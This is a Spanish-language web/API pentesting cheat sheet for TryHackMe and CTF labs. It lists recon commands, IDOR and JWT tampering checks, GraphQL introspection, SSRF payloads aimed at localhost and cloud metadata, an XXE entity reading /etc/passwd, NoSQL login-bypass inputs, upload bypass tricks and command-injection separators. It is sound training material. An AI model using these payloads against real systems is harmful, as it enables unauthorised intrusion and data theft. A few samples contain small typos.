

Guia practica - Web moderna y APIs para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Complemento para rooms web que no son solo directorios ocultos y CMS. En apps modernas, el bug suele estar en APIs, autorizacion, tokens o parsers.

Regla mental: autenticacion responde quien eres; autorizacion responde que puedes hacer. Muchas rooms se rompen por autorizacion floja.

1. Mapa inicial de la app

```
whatweb -a 3 $URL
curl -i $URL/
katana -u $URL -d 3
arjun -u "$URL/api/endpoint"
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -fc 404
```

- Busca /api, /graphql, /swagger, /openapi.json, /docs, /admin, /debug, /actuador.
- Guarda requests interesantes desde Burp. SQLMap, ffuf y scripts propios funcionan mejor con request completa.

2. IDOR / BOLA

La prueba mas rentable: cambiar IDs y comparar respuestas entre usuarios.

```
GET /api/users/1001
GET /api/users/1002
GET /api/orders/5
GET /api/orders/6
```

- Crea dos cuentas si la room lo permite.
- Prueba IDs numericos, UUIDs filtrados, emails, usernames y slugs.
- No basta con ocultar botones en frontend: comprueba API directa.
- Senal fuerte: status 200 con datos de otro usuario o accion aceptada sobre recurso ajeno.

3. JWT

```
jwt_tool TOKEN
python3 - <<'PY'
import jwt
print(jwt.get_unverified_header('TOKEN'))
print(jwt.decode('TOKEN', options={'verify_signature': False}))
PY
```

- Mira alg, kid, jku, exp, role, isAdmin, user_id.
- Prueba manipulacion solo en lab: none alg, secreto debil, confusion HS/RS si el reto apunta a ello.
- Si el token cambia rol en cliente pero el servidor no valida firma/autorizacion, hay bug.

4. GraphQL

```
POST /graphql
{"query":"{__schema{types{name}}}"}
```

```
{"query":"{users{id username email role}}}"}
```

- Prueba introspection; si esta activa, enumera tipos y queries.

- Busca queries con id, userId, file, path, admin, debug.
- IDOR tambien aplica: cambia variables en queries/mutations.

5. SSRF

Cualquier parametro que haga fetch de URL, avatar, webhook o import puede ser candidato.

```
url=http://127.0.0.1:80
url=http://localhost:8000
url=http://169.254.169.254/latest/meta-data/
url=http://[:1]/
url=file:///etc/passwd
```

- Confirma primero con tu listener: `python3 -m http.server 8000`.
- Prueba localhost, 127.0.0.1, redes internas y redirects si el lab lo sugiere.
- No hagas escaneo agresivo desde SSRF; valida con pocos puertos probables.

6. XXE

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>xxe;</root>
```

- Solo aplica si la app procesa XML: import, SOAP, SVG, DOCX/XLSX, SAML.
- Si no refleja salida, intenta OOB en tu servidor HTTP/DNS dentro del lab.

7. NoSQL Injection

```
{"username":{"$ne":null},"password":{"$ne":null}}
username[$ne]=admin&password[$ne]=x
{"$where":"this.username=='admin'"}
```

- Senal: backend Node/Mongo, errores BSON/Mongoose, filtros JSON directos.
- Comprueba bypass login, filtros de busqueda y endpoints admin.

8. File upload matrix

Control	Pruebas
Extension	php, phtml, phar, jsp, aspx, svg, html, double extension.
Content-Type	image/png vs application/x-php.
Magic bytes	GIF89a, PNG header si el lab valida firma.
Ruta	Se puede predecir uploads/? Hay path traversal en filename?
Ejecucion	El servidor ejecuta o solo sirve el archivo?

9. Command injection

```
; id
&& id
| id
`id`
$(id)
%0Aid
```

- Parametros tipicos: host, ip, domain, filename, backup, convert, ping, traceroute.
- Confirma con comandos inocuos primero: id, whoami, hostname.
- Si no hay output, usa sleep/ping hacia tu maquina en entorno de lab.

10. Checklist web/API

- Descubrir endpoints y guardar requests reales.
- Probar authz horizontal y vertical con dos usuarios.

- Revisar tokens, cookies, CORS y cabeceras.
- Buscar parsers: JSON, XML, YAML, template, markdown, image processors.
- Enumerar docs: Swagger/OpenAPI/GraphQL/actuator/debug.
- Validar bug con impacto claro y pasos reproducibles.